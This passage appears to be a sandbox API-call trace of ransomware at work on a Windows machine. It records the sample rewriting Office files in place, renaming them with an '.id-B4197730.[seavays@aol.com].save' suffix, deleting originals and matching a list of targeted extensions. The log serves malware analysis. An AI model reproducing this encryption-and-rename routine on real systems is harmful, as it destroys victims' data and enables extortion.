lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.797] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5944055) returned 1 [0056.797] CloseHandle (hObject=0x34c) returned 1 [0056.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0056.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seavays@aol.com].save")) returned 1 [0056.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.799] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1 [0056.799] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0056.799] ReadFile (in: hFile=0x34c, lpBuffer=0x403d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x403d058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0056.802] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0056.802] ReadFile (in: hFile=0x34c, lpBuffer=0x407d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x407d058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0056.809] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.810] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0056.810] ReadFile (in: hFile=0x34c, lpBuffer=0x40bd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x40bd058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0057.565] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.565] WriteFile (in: hFile=0x34c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0057.583] SetEndOfFile (hFile=0x34c) returned 1 [0057.583] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43fbfd8 [0057.588] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0057.588] WriteFile (in: hFile=0x34c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0057.590] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0057.590] WriteFile (in: hFile=0x34c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0057.596] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0057.596] WriteFile (in: hFile=0x34c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0057.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0057.599] CloseHandle (hObject=0x34c) returned 1 [0060.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0060.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.817] lstrlenW (lpString=".doc") returned 4 [0060.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.817] lstrlenW (lpString=".docx") returned 5 [0060.817] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0060.817] lstrlenW (lpString=".pdf") returned 4 [0060.817] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.817] lstrlenW (lpString=".xls") returned 4 [0060.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.817] lstrlenW (lpString=".xlsx") returned 5 [0060.817] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0060.817] lstrlenW (lpString=".ppt") returned 4 [0060.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString=".zip") returned 4 [0060.818] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.818] lstrlenW (lpString=".rar") returned 4 [0060.818] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString=".bz2") returned 4 [0060.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString=".7z") returned 3 [0060.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString=".dbf") returned 4 [0060.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString=".1cd") returned 4 [0060.818] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString=".jpg") returned 4 [0060.818] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.818] lstrlenW (lpString=".doc") returned 4 [0060.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString=".docx") returned 5 [0060.818] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0060.818] lstrlenW (lpString=".pdf") returned 4 [0060.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString=".xls") returned 4 [0060.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.818] lstrlenW (lpString=".xlsx") returned 5 [0060.818] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0060.818] lstrlenW (lpString=".ppt") returned 4 [0060.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.819] lstrlenW (lpString=".zip") returned 4 [0060.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.819] lstrlenW (lpString=".rar") returned 4 [0060.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.819] lstrlenW (lpString=".bz2") returned 4 [0060.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.819] lstrlenW (lpString=".7z") returned 3 [0060.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.819] lstrlenW (lpString=".dbf") returned 4 [0060.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.819] lstrlenW (lpString=".1cd") returned 4 [0060.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0060.819] lstrlenW (lpString=".jpg") returned 4 [0060.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.819] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.819] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0060.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.820] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1261) returned 1 [0060.820] CloseHandle (hObject=0x34c) returned 1 [0060.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.820] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.820] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.823] GetLastError () returned 0x0 [0060.823] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.826] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.827] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.827] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.827] SetEndOfFile (hFile=0x2fc) returned 1 [0060.839] CloseHandle (hObject=0x2fc) returned 1 [0060.840] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.840] SetEndOfFile (hFile=0x34c) returned 1 [0060.841] CloseHandle (hObject=0x34c) returned 1 [0060.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString=".doc") returned 4 [0060.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString=".docx") returned 5 [0060.842] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.842] lstrlenW (lpString=".pdf") returned 4 [0060.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString=".xls") returned 4 [0060.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString=".xlsx") returned 5 [0060.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.842] lstrlenW (lpString=".ppt") returned 4 [0060.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString=".zip") returned 4 [0060.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.842] lstrlenW (lpString=".rar") returned 4 [0060.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString=".bz2") returned 4 [0060.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString=".7z") returned 3 [0060.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString=".dbf") returned 4 [0060.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString=".1cd") returned 4 [0060.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.842] lstrlenW (lpString=".jpg") returned 4 [0060.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString=".doc") returned 4 [0060.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString=".docx") returned 5 [0060.843] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.843] lstrlenW (lpString=".pdf") returned 4 [0060.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString=".xls") returned 4 [0060.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString=".xlsx") returned 5 [0060.843] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.843] lstrlenW (lpString=".ppt") returned 4 [0060.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString=".zip") returned 4 [0060.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.843] lstrlenW (lpString=".rar") returned 4 [0060.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString=".bz2") returned 4 [0060.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString=".7z") returned 3 [0060.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString=".dbf") returned 4 [0060.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString=".1cd") returned 4 [0060.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0060.843] lstrlenW (lpString=".jpg") returned 4 [0060.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.844] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.844] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0060.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.844] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1261) returned 1 [0060.844] CloseHandle (hObject=0x34c) returned 1 [0060.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.844] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.844] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.845] GetLastError () returned 0x0 [0060.845] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.847] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.847] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.848] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.848] SetEndOfFile (hFile=0x2fc) returned 1 [0060.848] CloseHandle (hObject=0x2fc) returned 1 [0060.849] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.849] SetEndOfFile (hFile=0x34c) returned 1 [0060.850] CloseHandle (hObject=0x34c) returned 1 [0060.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0060.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.850] lstrlenW (lpString=".doc") returned 4 [0060.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.850] lstrlenW (lpString=".docx") returned 5 [0060.850] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.850] lstrlenW (lpString=".pdf") returned 4 [0060.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.850] lstrlenW (lpString=".xls") returned 4 [0060.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.850] lstrlenW (lpString=".xlsx") returned 5 [0060.850] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.850] lstrlenW (lpString=".ppt") returned 4 [0060.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString=".zip") returned 4 [0060.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.851] lstrlenW (lpString=".rar") returned 4 [0060.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString=".bz2") returned 4 [0060.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString=".7z") returned 3 [0060.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString=".dbf") returned 4 [0060.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString=".1cd") returned 4 [0060.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString=".jpg") returned 4 [0060.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.851] lstrlenW (lpString=".doc") returned 4 [0060.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString=".docx") returned 5 [0060.851] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.851] lstrlenW (lpString=".pdf") returned 4 [0060.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString=".xls") returned 4 [0060.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.851] lstrlenW (lpString=".xlsx") returned 5 [0060.851] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.851] lstrlenW (lpString=".ppt") returned 4 [0060.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.852] lstrlenW (lpString="C:\\Program Files\\Microsoft 